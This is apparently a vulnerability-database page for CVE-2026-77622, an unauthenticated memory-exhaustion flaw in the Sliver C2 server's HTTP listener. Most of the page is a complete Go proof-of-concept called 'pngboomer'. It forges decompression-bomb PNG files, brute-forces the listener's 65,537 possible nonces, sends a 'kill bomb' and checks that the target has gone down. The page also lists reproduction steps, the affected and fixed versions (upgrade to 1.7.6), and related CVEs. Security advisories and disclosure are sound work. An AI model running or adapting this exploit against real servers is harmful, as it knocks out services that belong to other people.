CVE-2026-77622High▾ MidnightPoC availableSliver: Unauthenticated Memory Exhaustion Denial of Service in Sliver HTTP(S) Listener PNG Decoder
▾ Midnight zone — Critical, or high with PoC / in-the-wild
impact 41.3 · likelihood 0 · exploitation 12
A public proof-of-concept already exists for this vulnerability — see Exploit availability below.
Public exploit / PoC code seen in 1 source. Availability, not in-the-wild use.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via GHSA
1 GitHub repo (last check)
Sliver is vulnerable to a Denial of Service (DOS) attack because there is no cap in the size of a PNG file that can be sent to an open http listener and there is a small amount of possible nonces. This vulnerability lets the attacker completely max out the RAM of the machine running server, leading to a complete loss of availability.
The first vulnerability is that the amount of possible nonces is 65,537. This is found in server/encoders/encoders.go
const (
EncoderModulus = uint64(65537)
)
The second vulnerability is there is no limit to how many pixels the PNG encoder will accept from an unauthenticated user. This is found in:
util/encoders/images.go
func (p PNGEncoder) Encode(data []byte) ([]byte, error) {
img := imageFromBytes(data)
var buf bytes.Buffer
encoder.Encode(&buf, img)
return buf.Bytes(), nil
}
func (p PNGEncoder) Decode(data []byte) ([]byte, error) {
buf := bytes.NewBuffer(data)
img, err := png.Decode(buf)
if err != nil { return nil, err }
return bytesFromImage(img), nil
}
The first step to reproduce this vulnerability is building a docker container to make sure no harm is caused.
Get the latest version of Sliver (Currently 1.7.3)
git clone https://github.com/BishopFox/sliver.git
Build the Docker container:
cd sliver
docker build -t sliver-test:local -f Dockerfile .
Run the Docker container with a memory cap for example 4GB:
docker run --rm \
--name sliver-test \
--memory=4g \
-p 8080:8080 \
-it \
sliver-test:local
After the Docker container starts, create an http listener on port 8080:
http -L 0.0.0.0 -l 8080
In a seperate terminal create the following Go project:
go.mod
module pngboomer
go 1.25
poc.go
// pngboomer — Sliver HTTP C2 PNG-bomb exploit: blind nonce brute-force + kill.
//
// SAFETY: the kill bomb causes a multi-GB PNG decode on the target. Always run
// it against a Docker container with --memory=<N>g and pass -target-cap-mb N
// so the tool can refuse dangerous worker/probe combos.
//
// Build: go build -o pngboomer
// Demo: ./pngboomer -url http://target:8080/ -target-cap-mb 10240
package main
import (
"bytes"
"compress/zlib"
"context"
"encoding/binary"
"flag"
"fmt"
"hash/crc32"
"io"
"math/rand"
"net"
"net/http"
"net/url"
"os"
"sort"
"sync"
"sync/atomic"
"time"
)
// ANSI color — single helper, disabled by -no-color / -silent.
var nocolor bool
func col(code, s string) string {
if nocolor {
return s
}
return "\x1b[" + code + "m" + s + "\x1b[0m"
}
func B(s string) string { return col("1", s) }
func D(s string) string { return col("2", s) }
func R(s string) string { return col("1;31", s) }
func G(s string) string { return col("1;32", s) }
func Y(s string) string { return col("1;33", s) }
func C(s string) string { return col("1;36", s) }
func ms(d time.Duration) float64 { return float64(d.Microseconds()) / 1000 }
// PNG forging — stream zero-rows into zlib so client RSS stays ~10 MB even for
// the 4 GiB-decode kill bomb. colorType: 2=RGB (3 B/px), 6=RGBA (4 B/px).
func chunk(typ string, data []byte) []byte {
out := make([]byte, 4, 12+len(data))
binary.BigEndian.PutUint32(out, uint32(len(data)))
out = append(out, typ...)
out = append(out, data...)
crc := crc32.NewIEEE()
crc.Write([]byte(typ))
crc.Write(data)
tail := make([]byte, 4)
binary.BigEndian.PutUint32(tail, crc.Sum32())
return append(out, tail...)
}
func makePNG(W, H, ct int) []byte {
bpp := 3
if ct == 6 {
bpp = 4
}
var zb bytes.Buffer
zw, _ := zlib.NewWriterLevel(&zb, zlib.BestCompression)
row := make([]byte, 1+bpp*W)
for i := 0; i < H; i++ {
zw.Write(row)
}
zw.Close()
ihdr := make([]byte, 13)
binary.BigEndian.PutUint32(ihdr[0:4], uint32(W))
binary.BigEndian.PutUint32(ihdr[4:8], uint32(H))
ihdr[8], ihdr[9] = 8, byte(ct)
out := []byte("\x89PNG\r\n\x1a\n")
out = append(out, chunk("IHDR", ihdr)...)
out = append(out, chunk("IDAT", zb.Bytes())...)
return append(out, chunk("IEND", nil)...)
}
// HTTP helpers
func hostPort(u string) string {
p, _ := url.Parse(u)
if p.Port() != "" {
return p.Hostname() + ":" + p.Port()
}
if p.Scheme == "https" {
return p.Hostname() + ":443"
}
return p.Hostname() + ":80"
}
func alive(hp string, t time.Duration) bool {
c, err := net.DialTimeout("tcp", hp, t)
if err != nil {
return false
}
c.Close()
return true
}
func post(ctx context.Context, cli *http.Client, base string, body []byte, n uint64) time.Duration {
req, _ := http.NewRequestWithContext(ctx, "POST",
fmt.Sprintf("%s?n=%d", base, n), bytes.NewReader(body))
req.Header.Set("Content-Type", "application/octet-stream")
t := time.Now()
resp, err := cli.Do(req)
dt := time.Since(t)
if err == nil {
io.Copy(io.Discard, resp.Body)
resp.Body.Close()
}
return dt
}
type hit struct {
n uint64
dt time.Duration
}
func main() {
target := flag.String("url", "http://127.0.0.1:8080/", "Sliver HTTP C2 base URL")
workers := flag.Int("workers", 8, "scan concurrency")
probeW := flag.Int("probe-w", 2000, "probe PNG width")
probeH := flag.Int("probe-h", 2000, "probe PNG height")
probeCT := flag.Int("probe-color", 2, "probe color: 2=RGB, 6=RGBA")
killW := flag.Int("kill-w", 32767, "kill PNG width")
killH := flag.Int("kill-h", 32767, "kill PNG height")
killCT := flag.Int("kill-color", 6, "kill color: 2=RGB, 6=RGBA")
thMs := flag.Int("threshold-ms", 50, "threshold floor (effective = max(this, baseline_p99 × outlier-mult))")
outlier := flag.Float64("outlier-mult", 15.0, "baseline_p99 × this = adaptive threshold")
calibN := flag.Int("calibrate", 16, "non-PNG calibration samples")
verifyN := flag.Int("verify", 3, "re-probe count per candidate")
maxN := flag.Int("max-nonce", 65537, "top nonce (Sliver modulus = 65537)")
pTO := flag.Duration("probe-timeout", 5*time.Second, "per-probe HTTP timeout")
kTO := flag.Duration("kill-timeout", 180*time.Second, "kill request HTTP timeout")
capMB := flag.Int("target-cap-mb", 10240, "declared target memory cap, 0 = disable check")
known := flag.Int("nonce", 0, "skip scan, use this nonce directly")
scanOnly := flag.Bool("scan-only", false, "stop after finding nonce, don't kill")
noConf := flag.Bool("no-confirm", false, "don't TCP-poll for death after kill")
noClr := flag.Bool("no-color", false, "disable ANSI color")
silent := flag.Bool("silent", false, "only print nonce on stdout")
flag.Parse()
nocolor = *noClr || *silent
pBpp, kBpp := 3, 3
if *probeCT == 6 {
pBpp = 4
}
if *killCT == 6 {
kBpp = 4
}
probeMB := pBpp * *probeW * *probeH / 1024 / 1024
killMB := kBpp * *killW * *killH / 1024 / 1024
peakMB := *workers * probeMB
if *capMB > 0 && peakMB > *capMB/2 {
fmt.Fprintf(os.Stderr, "%s scan peak %d MiB > target cap %d / 2 — lower -workers or -probe-w/h\n",
R("[X] safety:"), peakMB, *capMB)
os.Exit(2)
}
probe := makePNG(*probeW, *probeH, *probeCT)
kill := makePNG(*killW, *killH, *killCT)
hp := hostPort(*target)
if !alive(hp, 2*time.Second) {
fmt.Fprintf(os.Stderr, "%s target unreachable: %s\n", R("[X]"), hp)
os.Exit(2)
}
if !*silent {
fmt.Fprintln(os.Stderr, B("pngboomer — Sliver C2 PNG-bomb DoS"))
fmt.Fprintf(os.Stderr, " probe %dB wire %dx%d c=%d → %d MiB decode\n",
len(probe), *probeW, *probeH, *probeCT, probeMB)
fmt.Fprintf(os.Stderr, " kill %dB wire %dx%d c=%d → %d MiB decode\n",
len(kill), *killW, *killH, *killCT, killMB)
fmt.Fprintf(os.Stderr, " scan peak ≈ %d MiB target cap=%d MiB reachable=%s\n",
peakMB, *capMB, B(hp))
}
cli := &http.Client{Timeout: *pTO, Transport: &http.Transport{MaxIdleConnsPerHost: *workers}}
pngN := uint64(*known)
if pngN == 0 {
// ─── Phase 1: calibrate non-PNG baseline ───
dts := make([]time.Duration, *calibN)
sem := make(chan struct{}, 8)
var wg sync.WaitGroup
for i := 0; i < *calibN; i++ {
i := i
sem <- struct{}{}
wg.Add(1)
go func() {
defer wg.Done()
defer func() { <-sem }()
dts[i] = post(context.Background(), cli, *target, probe, uint64(rand.Intn(*maxN-1)+1))
}()
}
wg.Wait()
sort.Slice(dts, func(i, j int) bool { return dts[i] < dts[j] })
p50, p99 := dts[len(dts)/2], dts[len(dts)*99/100]
eff := int64(*thMs)
if a := int64(float64(p99.Milliseconds()) * *outlier); a > eff {
eff = a
}
*thMs = int(eff)
thresh := time.Duration(*thMs) * time.Millisecond
if !*silent {
fmt.Fprintf(os.Stderr, " baseline p50=%.0fms p99=%.0fms → threshold=%s (max of floor, p99×%.0f)\n",
ms(p50), ms(p99), B(fmt.Sprintf("%dms", *thMs)), *outlier)
}
// ─── Phase 2: scan with verify + blacklist-on-blip ───
blacklist := map[uint64]bool{}
var maxDt int64
var maxNonce uint64
var totalDone uint64
scanStart := time.Now()
const maxBlips = 8
// Shuffled nonce order, shared across re-scans. Workers pull via atomic
// counter — no channels, no producer goroutine.
order := make([]uint64, *maxN-1)
for i := range order {
order[i] = uint64(i + 1)
}
rand.Shuffle(len(order), func(i, j int) { order[i], order[j] = order[j], order[i] })
for blip := 0; blip < maxBlips && pngN == 0; blip++ {
scanCtx, scanCancel := context.WithCancel(context.Background())
hits := make(chan hit, 1)
var idx int64
var scanned uint64
var swg sync.WaitGroup
for i := 0; i < *workers; i++ {
swg.Add(1)
go func() {
defer swg.Done()
for scanCtx.Err() == nil {
i := atomic.AddInt64(&idx, 1) - 1
if i >= int64(len(order)) {
return
}
n := order[i]
if blacklist[n] {
continue
}
dt := post(scanCtx, cli, *target, probe, n)
atomic.AddUint64(&scanned, 1)
for { // track slowest probe (lock-free CAS)
cur := atomic.LoadInt64(&maxDt)
if dt.Nanoseconds() <= cur {
break
}
if atomic.CompareAndSwapInt64(&maxDt, cur, dt.Nanoseconds()) {
atomic.StoreUint64(&maxNonce, n)
break
}
}
if dt >= thresh {
select {
case hits <- hit{n, dt}:
default:
}
scanCancel()
return
}
}
}()
}
if !*silent {
go func() {
t := time.NewTicker(750 * time.Millisecond)
defer t.Stop()
for {
select {
case <-scanCtx.Done():
return
case <-t.C:
tot := atomic.LoadUint64(&totalDone) + atomic.LoadUint64(&scanned)
el := time.Since(scanStart).Seconds()
fmt.Fprintf(os.Stderr, D(" scanned %d (%.0f/s, %.1fs, blips=%d)\n"),
tot, float64(tot)/el, el, blip)
}
}
}()
}
go func() { swg.Wait(); close(hits) }()
cand, ok := <-hits
scanCancel()
atomic.AddUint64(&totalDone, atomic.LoadUint64(&scanned))
if !ok {
break // exhausted, no candidate
}
// VERIFY: re-probe N×, count threshold hits, render tries inline
conf := 0
var tries bytes.Buffer
for i := 0; i < *verifyN; i++ {
dt := post(context.Background(), cli, *target, probe, cand.n)
if dt >= thresh {
conf++
tries.WriteString(G("✓"))
} else {
tries.WriteString(R("✗"))
}
fmt.Fprintf(&tries, "%.0fms ", ms(dt))
}
if !*silent {
fmt.Fprintf(os.Stderr, " candidate %s (%.0fms) verify: %s\n",
B(fmt.Sprintf("%d", cand.n)), ms(cand.dt), tries.String())
}
if conf >= (*verifyN+1)/2 {
pngN = cand.n
if !*silent {
fmt.Fprintf(os.Stderr, "%s nonce=%s in %.2fs (%d probes, %d blips)\n",
G("[+] FOUND"), B(fmt.Sprintf("%d", pngN)),
time.Since(scanStart).Seconds(), atomic.LoadUint64(&totalDone), len(blacklist))
}
break
}
blacklist[cand.n] = true
if !*silent {
fmt.Fprintf(os.Stderr, "%s nonce %d rejected (%d/%d) — blacklisted\n",
Y("[!] blip"), cand.n, conf, *verifyN)
}
}
if pngN == 0 {
mDt := time.Duration(atomic.LoadInt64(&maxDt))
mN := atomic.LoadUint64(&maxNonce)
fmt.Fprintf(os.Stderr, "%s no candidate ≥ %dms after %d probes\n",
R("[X] scan failed:"), *thMs, atomic.LoadUint64(&totalDone))
fmt.Fprintf(os.Stderr, " slowest probe: nonce=%d at %.0fms\n", mN, ms(mDt))
suggest := mDt.Milliseconds() * 6 / 10
if suggest < 30 {
suggest = 30
}
fmt.Fprintf(os.Stderr, " fix: %s or grow -probe-w/-probe-h\n",
C(fmt.Sprintf("-threshold-ms %d", suggest)))
os.Exit(2)
}
}
if *scanOnly {
fmt.Println(pngN)
return
}
// ─── Phase 3: fire kill bomb ───
if !*silent {
fmt.Fprintf(os.Stderr, "%s firing kill (%d MiB decode) at %s?n=%d\n",
B("[*]"), killMB, *target, pngN)
}
kCli := &http.Client{Timeout: *kTO}
killStart := time.Now()
done := make(chan struct{})
go func() {
dt := post(context.Background(), kCli, *target, kill, pngN)
if !*silent {
fmt.Fprintf(os.Stderr, " kill returned in %.2fs\n", dt.Seconds())
}
close(done)
}()
if *noConf {
<-done
fmt.Println(pngN)
return
}
deadline := time.Now().Add(*kTO)
for time.Now().Before(deadline) {
time.Sleep(250 * time.Millisecond)
if !alive(hp, time.Second) {
if !*silent {
fmt.Fprintf(os.Stderr, "%s killed in %.2fs (TCP refused at %s)\n",
G("[+] ★ TARGET DEAD ★"), time.Since(killStart).Seconds(), hp)
}
fmt.Println(pngN)
return
}
}
fmt.Fprintf(os.Stderr, "%s target alive after %s — try larger -kill-w/-kill-h\n", Y("[!]"), *kTO)
os.Exit(1)
}
This vulnerability can impact the availability of any Sliver server that has a running http listener. If the target server does not have a limit on the amount of memory the Sliver C2 can use it will lead to a host device crashing.
This vulnerability was found with the help of Wencheng Xue (panwnvda).
github.com/BishopFox/sliver < 1.7.6Upgrade to a patched release:
github.com/BishopFox/sliver 1.7.6Connected by shared product, vendor, weakness, or advisory.
CVE-2023-34758High· 8.1Silver vulnerable to MitM attack against implants due to a cryptography vulnerability
CVE-2026-0897High· 7.5Allocation of Resources Without Limits or Throttling in the HDF5 weight loading component in Google Keras 3.0.0 through 3.13.0 on all platforms allows a remote attacker to cause a Denial of Service (DoS) through memory exhaustion and a c…
CVE-2026-100350Medium· 5.3kin-openapi is a Go project for handling OpenAPI files
CVE-2026-102507Medium· 5.7Sliver C2 framework version 1.7.7 and earlier contains an unhandled panic vulnerability in the operator gRPC handler that allows an attacker controlling a compromised implant to crash the entire teamserver by returning a malformed or emp…
CVE-2025-11362High· 7.5Versions of the package pdfmake from 0.3.0-beta.1 and before 0.3.0-beta.17 are vulnerable to Allocation of Resources Without Limits or Throttling via repeatedly redirect URL in file embedding
CVE-2023-5379High· 7.5A flaw was found in Undertow